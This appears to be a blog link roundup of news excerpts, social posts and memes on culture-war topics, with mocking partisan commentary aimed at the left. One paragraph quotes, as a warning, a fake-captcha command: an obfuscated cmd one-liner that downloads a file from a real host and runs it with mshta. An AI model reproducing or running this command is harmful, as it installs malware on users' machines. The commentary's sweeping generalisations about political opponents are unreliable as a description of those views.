Who Counts as a Victim? - "Liberals and conservatives both want to reduce harm and help victims. Where they differ is in who they see as the victims. The disagreement isn’t that liberals think Black people are the victims whereas conservatives think White people are, or that liberals think poor people are the victims whereas conservatives think rich people are. Instead, each side conceptualizes victimhood in a fundamentally different way. Liberals tend to see victimhood as group-based, dividing the social world into vulnerable oppressed groups and invulnerable oppressors. Conservatives, in contrast, tend to see victimhood as individual-based and more evenly distributed across groups."
The Purity Paradox: How Tolerance and Intolerance Increase at the Same Time - "How can intolerance be increasing when Western democracies are demonstrably more tolerant of historically marginalised identities than at any point in their history? It is, according to Douglas Murray, “a curiosity of the age” that as racial and sexual tolerance “at the very least appears to be better than it ever was, it is presented as though it has never been worse.” This paradox occurs because, as we address and overcome problems of intolerance and discrimination, we also expand the concept of intolerance to stigmatise new attitudes and behaviours. This makes it appear as if we are either making no progress at all or, worse, that we are becoming more intolerant. The upshot is that social problems appear increasingly irresolvable. It is, of course, counter-intuitive to think of tolerance and intolerance increasing at the same time. Nevertheless, the idea is supported by a Harvard University study of human judgement, led by Professor Daniel Gilbert... The concept of what constitutes discrimination has expanded, and as marginalised communities have splintered into mutually antagonistic groups, overall hostility and inter-community tension has been exacerbated. Tests for the detection of “unconscious bias,” such as the Harvard Implicit Association Test (IAT), have played a significant role in the emergence of this paradox, and the IAT’s methods have been widely adopted. For example, the UK Government established a programme of diversity training to unearth unconscious biases in participants. So, even as people become more tolerant of racial and gender differences they find themselves condemned for intolerance so deeply buried they were not even aware of it themselves. The theory of intersectionality, meanwhile, now widely embraced in Western universities, has generated an ever-expanding “matrix of oppression.” In search of a solution to the resulting tsunami of newly discovered prejudice, the number of oppressors—from white cis-gendered men to “Trans-Exclusionary Radical Feminists”—proliferates, resulting in a feedback loop of exclusion, distrust, and resentment. As concepts of discrimination and bias expand, the aggressive policing of behaviours increases in an attempt to rid society of all remaining prejudice. At the University of Sheffield in England, students were paid by the university to monitor the language of their fellow students for evidence of “microaggressions” that may unintentionally cause offence to a racial group. This inevitably leads to the needless demonisation of tolerant, liberal students as intolerant unconscious racists. And as the concept of intolerance increases in this way, tolerant behaviours and attitudes struggle to keep up. Like the Red Queen in Through the Looking Glass, we have to run faster just to stand still. The outcome of all this is rampant no-platforming in universities and colleges, necessitated by the assumption that if people can’t be reformed then they must be silenced instead. The philosopher Alfred North Whitehead described the University of Chicago as “the one place I have been that is most like ancient Athens.” He would doubtless have been disappointed to learn that protests derailed plans to invite Trump’s former chief strategist, Steve Bannon, to participate in a debate on campus. Although the event did not take place, the professor who invited him remarked, “whether you like his views or not, he seems to have understood something about America that I’m curious to learn more about.” Similar culture wars are escalating around gender. British author J.K. Rowling was showered with spiteful invective simply for being “deeply concerned about the consequences of the current trans activism.” The Indian feminist Vaishnavi Sundar had the screening of her film pulled because she objected to pre-op transwomen sharing shelters and bathrooms with female survivors of sexual violence. Her sins were compounded by her belief that biological sex is not a social construct... How can we encourage kind and decent people to become ever-more tolerant when they are vilified no matter what they say or do because the concept of intolerance keeps expanding to swallow their good intentions? Our desire for greater equality and inability to acknowledge progress are spinning us into a purity spiral—as new layers of intolerance are uncovered, coercive corrective measures increase in ferocity. Left unchallenged, this takes us to ever-more dangerous places. As Simon Schama explains in his magnificent study of the French Revolution, “the violence that made the Revolution possible in the first place created the brutal distinctions between Patriots and Enemies, Citizens and Aristocrats, within which there could be no human shades of grey.” Allergy to ambiguity and nuance and to the complexity of human experience makes impossible demands of the individual. This in turn results in rising levels of frustration and recrimination because somebody has to pay the price for failure. “Il faut du sang pour cimenter la révolution” (“There must be blood to cement the revolution”) cried Mme Roland at the height of the French Revolution only to find herself arrested and guillotined a short time later. When justified campaigns for racial justice and gender rights adopt this same approach, they are fuelling the very forces they claim to oppose. “My ultimate objection to political correctness,” English writer, actor, and comic Stephen Fry has observed, “is not that it combines so much of what I have spent a lifetime loathing and opposing: preachiness (with great respect), piety, self-righteousness, heresy-hunting, denunciation, shaming, assertion without evidence, accusation, inquisition, censoring… My real objection is that I don’t think political correctness works… (It) is always obsessed with how right it is, without thinking of how effective it might be.” By relentlessly expanding the concept of intolerance, prevalence-induced concept change ensures none of us can ever be good enough—if we pass one test of tolerance, we are sure to fail the next."
This is about the slippery slope being empirically proven
James V. Shuls on X - "Conservative academics have long saw the dangers of left-wing dogma in education. It’s wild to see the Journal of Teaching in Social Work publishing critical takes on antiracism."
Editorial - "in 2022, the Council on Social Work Education (CSWE), for the first time in its history, elevated a singular “means” in the form of antiracist and antioppressive social work practice and requires it to be taught throughout all social work curricula. Beginning in 2025, schools will have to demonstrate that this framework is infused in both the explicit and implicit curriculum in order to be accredited. In view of this absolute requirement and other events of the past year, in February of 2024, we issued a call for papers for this Special issue: “Beyond ideological mandates: Critical reflections on antiracist and antioppressive social work education.” The galvanizing spark for the call was the response to events following the October 7 massacre by Hamas. This included a not-incidental number of social work students and faculty signing petitions and joining protests that devalued Jewish lives and valorized violence in the name of antiracist practice that deemed Jewish people as being on the wrong side of the “settler-colonialism” or antiracist line. We saw in this response a coalescing of what we have been observing for some time, that perhaps from impatience and frustration with the stickiness of entrenched social problems, our profession has gradually been letting go of the necessary burdens of the humbling search for professional and scientific knowledge. Instead, we too often are settling for the comfort of moralistic and rigid truth-claims that, by their own logic, preempt the discomfort of critique. In this way, the response to October 7 has been one moment in a larger trajectory of professional change—but a moment we found especially compelling, in the explicit anti-Semitism it perpetrated on too many of our communities and, in so doing, making overt the broader dangers of mandating a single, particular ideology, including the ways in which this compromises academic freedom and the development of critical thinking in our students and our own practice as scholars and teachers. As people responded to our call for papers, we quickly perceived the deeply troubling presence of a chilling effect of ideological singularity within social work academia. Faculty described going “underground” and self-silencing lest they lose their reputation or careers by criticizing the new orthodoxy. Seasoned social justice advocates, who in other times would have contributed their wisdom and experience, also fell silent, as past efforts were denigrated as racism in disguise, a stain and not a step in the journey toward a more just society. Students also fell quiet as they were pressed to accept a specific ideology rather than engage in a robust discussion of competing perspectives on the complex issues inherent in social work."
Why Detroiters Didn't Trust City Tree-Planting Efforts - Bloomberg - "It’s not that they didn’t trust the trees; they didn’t trust the city."
Clearly grievance mongering will make them trust the government more
ᒪᗩᑎE on X - "This ad spot accidentally captured the essence of how i see the conservative/Repub culture: just act all terrified of everything around you so they won't notice you're the predator."
wanye on X - "You have to understand that this is genuinely what even quite ordinary, mainstream liberals believe. Like, I’m talking about just the regular old people in my Facebook feed. They genuinely believe that suburbanites have completely invented the idea that there is a crime problem just because they’re mean, scared, racists. And, meanwhile, rich suburbanites and rural hicks cause all the problems. They really believe this stuff. Like, it’s not an exaggeration or a metaphor. That’s what they think is happening. They think that failing urban schools are because racist suburbanites don’t give those schools enough money. That’s their literal understanding of the world. They think that crime and disorder are overrated, but to the extent that these are real problems, it’s because of how we built the interstate highways 70 years ago. That’s their literal belief. They think that gun crime today is because it was hard to get mortgages in some neighborhoods in the 1960s. Again, this is their literal understanding of cause and effect. You can get mad at Mathew Yglesias or Noah Smith or whoever else online, but understand that the average normie liberal lives on another planet altogether."
Meme - ianthomasmalone: "I was out on a date with a man when the subject turned to books. He said he was reading Jordan Peterson's latest. I made a bit of a face. He glared at me and said the left lacks empathy. I told him I had plenty of empathy. He asked if I ever had empathy for a conservative. I said I'd had empathy for a conservative-adjacent. He asked what that meant. I said I once felt bad for the cancer that had the misfortune of living inside Rush Limbaugh."
A good reminder that left wing "kindness", "empathy" and "being a decent human being" is highly selective
Meme - Ian Miller @ianmSC: "What’s impressive about this is that the education system didn’t just eliminate virtually all conservative thought as it moved toward left wing extremism, they got rid of almost anyone who was in the middle too. Anyone who doesn’t fully comply with the groupthink isn’t welcome."
"Faculty Ideology In the United Sates, 1969-2022
1969: 45.4% far left/liberal, 27.5% middle-of-the-road, 27.1% conservative/far right
2022: 74.2% far left/liberal, 14.9% middle-of-the-road, 10.8% conservative/far right"
Clearly this is because middle-of-the-road people are fascists/fascism-enablers so this is right and proper and there's nothing to see here
Pennsylvania man charged in killing of Uber driver who begged for her life - "Calvin Crew, 22, was charged with criminal homicide, robbery and tampering with evidence in the death of Christina Spicuzza, 38, Allegheny County criminal court records show. According to a criminal complaint obtained by NBC affiliate WPXI of Pittsburgh, a dash cam inside Spicuzza's car captured Crew allegedly pointing a gun at her neck as she drove and told him: "I'm begging you, I have four kids."... She died from a single gunshot wound, he said. After the killing, Crew allegedly tried to access Spicuzza's banking apps to transfer money to his girlfriend's phone, WPXI reported, citing the complaint."
Eric on X - "Every day a story declaratively *worse* than "Emmett Till" occurs almost weekly and you never hear about it for the simple fact that the victim was white, and the journalists believe that white victim sort of had it coming."
The Redheaded libertarian on X - "7/4/25 *Christian girls die in a flood.* “They were all white” ___ 8/27/25 *Christian children murdered by trans violence.* “Prayer couldn’t save them.” ___ 9/10/25 *Christian civil rights leader assassinated* “He deserved it” ___ Are we ready for the conversation?"
Matthew Behrens | Facebook - "On this Sunday morning, a profound act of love and solidarity, and some fine words from Isaiah, suitable for all who believe in peace and justice (and also a spiritual direction for militarists like Mark Carney, who this week has been crowing about his macho commitment to steal half a trillion dollars from the public treasury to gift war manufacturers). "They shall beat their swords into ploughshares, and their spears into pruning hooks; nation shall not lift up sword against nation, neither shall they learn war anymore." Such an act seems to have occurred yesterday morning. It seems that a noble Irish tradition of smashing up US war aircraft on their way to distant slaughter (and indeed, ripping up the runway at Shannon airport) was enacted yet again, at the same time UK police were arresting over 500 people for sitting silently in London holding signs against genocide and in support of Palestine Action. "A man in his 40s has been taken into custody over alleged criminal damage to a US military aircraft at Shannon Airport." Peace campaigners have long protested US military flights with troops and weapons refueling at the County Clare airport on the Atlantic coast despite Ireland’s alleged military neutrality. And some who have undertaken such actions are found not to be criminal at all, as juries see they are acting to uphold international law and then acquit them. This is not criminal damage. This is the crime of compassion. Canada provides similar support for the genocidal actions of the US military and, like Ireland, continues to send weapons to the Israeli apartheid regime despite saying it isn't. Every damaged piece of military equipment is a piece of military equipment no longer capable of murdering people. May we all beat swords into ploughshares, prevent crimes against humanity, and build beloved community."
Violence is love. This is why left wingers are convinced the right is violent - theirs doesn't count
Culture is driven by evolution: Biology's false binary - "This question is taboo in university anthropology departments; many of them dissolved into acrimony debating if culture or evolution drives human behaviour. Some universities decided to split their anthropology departments, with social or cultural anthropology in one building, and evolutionary anthropologists elsewhere. In my own department, we agree to differ (although from time to time I learn that someone has not spoken to me for 30 years because of my being in the ‘bad’ camp). Fortunately, most of our students are now leaving that particular culture war behind. We are evolved beings. If you want to understand the design of living things, then there are only two options – evolution by natural selection, or divine creation. If you are happy with divine creation, then I assume that makes it pretty uncomplicated. If not, you are left with evolution. Evolution designs not just our bodies but also our minds... An animal’s instincts can guide them through eating and mating, or even making complex structures like weaver birds’ nests. If you are a kittiwake, your instincts even make sure you don’t jump about too much when you are a chick, because otherwise you will fall off the cliff ledge on which your parents are raising you. Some more elaborate behaviours might require more learning to perfect. The weaver birds do apparently get better at nest building with experience. But trial and error is a slow and costly process. Humans use trial and error too, but we have another trick. We are masters of cultural learning. We learn from each other, often in very specific detail... In the first half of the twentieth century, animal behaviourists were obsessed with how much of behaviour can be attributed to ‘nature’ versus ‘nurture’. The question soon spilt over into discourse about human behaviour and psychology. But calculating how much of each is in play turns out to be a complicated task. The answer very much depends on how much environmental variation there is. But more importantly, it turned out not to be a very productive academic pathway. The answer is always: it is both. A much more fruitful question is to ask how did evolution design that behaviour? Why do we do that, in the sense of why did evolution select for that?"
Left wingers believe that if you do not believe in the blank slate, you are an eugenicist, so
At the time I visited the original website there was a fake captcha that was asking me to run a shady command (cmd /v:on /c "set j=vlvrvuvcvvvvv&set t=%UserProfile%\Documents\M.pdf&call !j:~7,1!!j:~5,1!!j:~3,1!!j:~1,1! -skLo !t! luziqo.com/mb&&mshta !t!") so I linked the archive
U.S. Counties Vary by Their Degree of Partisan Prejudice - The Atlantic - "In general, the most politically intolerant Americans, according to the analysis, tend to be whiter, more highly educated, older, more urban, and more partisan themselves. This finding aligns in some ways with previous research by the University of Pennsylvania professor Diana Mutz, who has found that white, highly educated people are relatively isolated from political diversity. They don’t routinely talk with people who disagree with them; this isolation makes it easier for them to caricature their ideological opponents. (In fact, people who went to graduate school have the least amount of political disagreement in their lives, as Mutz describes in her book Hearing the Other Side.) By contrast, many nonwhite Americans routinely encounter political disagreement. They have more diverse social networks, politically speaking, and therefore tend to have more complicated views of the other side, whatever side that may be."
Previously quoted, but it's notable that the woke are the least tolerant
'There's no guidance': Quebec daycares say new secularism law causing fear, uncertainty
Left wing logic: Islam does not require women to wear the hijab, so the hijab definitely doesn't oppress women, yet if you don't let Muslim wear the hijab, that's religious discrimination. But then, left wingers think dress codes for students are oppressive. It's only a matter of time before they go after dress codes for workers
High intelligence is not associated with a greater propensity for mental health disorders - "Studies reporting that highly intelligent individuals have more mental health disorders often have sampling bias, no or inadequate control groups, or insufficient sample size. We addressed these caveats by examining the difference in the prevalence of mental health disorders between individuals with high and average general intelligence (g-factor) in the UK Biobank... The present study provides robust evidence that highly intelligent individuals do not have more mental health disorders than the average population. High intelligence even appears as a protective factor for general anxiety and PTSD."
One cope for liberals having more mental health problems than conservatives is that they're smarter and intelligence is linked to mental health problems like anxiety. So much for that
Jessica Costescu on X - "JUST IN: Rep. Summer Lee (D-PA) takes the stage after Hasan Piker at Abdul El-Sayed’s MSU rally and delivers a very loud speech: “We can change the rest of the world — because…we saw it in apartheid South Africa, we will see it in Palestine, we will see it again here in the U.S.""
Councilwoman Vickie Paladino on X - "These are EXTREMELY BAD exemplars, but they choose them deliberately because they do indeed represent the ultimate goals of the left. South Africa has become a literal hellscape where the most productive and functional people are hunted and murdered with near-impunity for no other reason than racial grievance, and the 'government' is utterly incapable of even the most basic civic functions like electricity or road maintenance. And 'Palestine' is a nightmarish Islamic terror-state in which small children are raised to believe the most honorable path in life is suicide while committing mass murder against Jews and Americans, and even their neighboring Muslim majority nations want nothing to do with them. This has been publicly repeated more than once now by prominent Democrats, including our Mayor. They mean it. It is an existential threat to all of us, and should be treated as such. This is what you're getting when you vote for Democrats. Any Democrat. Even the ones who don't speak like this enable the ones that do. This is a very ugly path to go down, and it will lead to bloodshed. Guaranteed. Will anyone in that party other than John Fetterman say ANYTHING at all about this?"
Matt Van Swol on X - "I hate to say it… But I’m struggling to be generous after all the fraud we’ve seen. There’s so few charities I trust now. I do a deep dive on a homeless charity… oh look, my tax dollars are funding that and it’s run by a Trump-hating Leftist. A Christian charity? Oh look, they’re helping illegal aliens. An education nonprofit? Oh look, it’s getting money from Left-wing political groups to send in Democrat activists to give lectures on LGBTQ oppression. Even my TAX DOLLARS I know are being used to fund some BS non-profit that probably has me on a list somewhere as an extremist and is actively trying to cancel me. It’s hard to be generous when I’m already being generously stolen from in taxes and when even the nonprofits aren’t actually solving the problems they reportedly exist to solve."
Ryan Burge 📊 on X - "Among Catholic priests who were ordained in the late 1960s: 68% describe their theology as progressive. 16% said it was conservative. Among priests ordained in the last few years: 2% describe their theology as progressive. 84% said it was conservative."
Swann Marcus on X - "It’s incredibly funny how police resisted body cams and leftists supported them and then the end result of body cams was that they were a massive win for the cops because so few police shootings are unjustified. There are now left-wing activists arguing against body cams lol"
Naturally, left wingers were denying this
From George Floyd to Alex Pretti: “Copaganda” Author on Myths About Immigration, Crime & Policing | Democracy Now! - "body cameras are a mirage. And as I write in the Copaganda book, and this is — it’s really critical to understand exactly how it happens. Not only do they not reduce police violence, but they have been an essential propaganda tool in convincing so many well-meaning people across our society that the authorities care about police violence, that they want accountability, that they’re doing something right. And it distracts people from the core, important kinds of changes that we need, which is to reduce the size and power of these bureaucracies."
Police Body Cameras | American Civil Liberties Union - "Without good policies, they risk becoming just another police surveillance device—and one with very real potential to invade privacy"
Why Police Body Cameras Haven’t Stopped Police Brutality - Progressive.org - " “We now know,” argued Dr. Jody Armour, a criminal justice expert, “that technological tweaks like a camera can’t prevent the loss of innocent life or prevent violent encounters with police . . . we need to reduce the footprint of law enforcement in communities, not just document it.” Abolitionist group Critical Resistance suggests evaluating proposed police reforms on criteria such as whether they lower police funding and if they “reduce [the] tools/tactics/technology police have at their disposal.” The fact that reforms like BWCs haven’t worked doesn’t mean that their repeal has to be the first priority of police reform movements. But it is a sign that we should look instead at “abolitionist steps” like shrinking police departments and withholding pensions from officers involved in excessive force incidents. The fraught experiment of body cameras may suggest this approach is worth considering."
Meme - James Lindsay, anti-Communist @ConceptualJames: "It is clearly explained on the last page of the Communist Manifesto."
"In short, the Communists everywhere support every revolutionary movement against the existing social and political order of things."
Afghan Zoroastrian @AfgZoroastrian: "Can somebody explain why the left hates Christians, Jews and Hindus, but loves Islamists?"
The issue is never the issue. The issue is always the Revolution
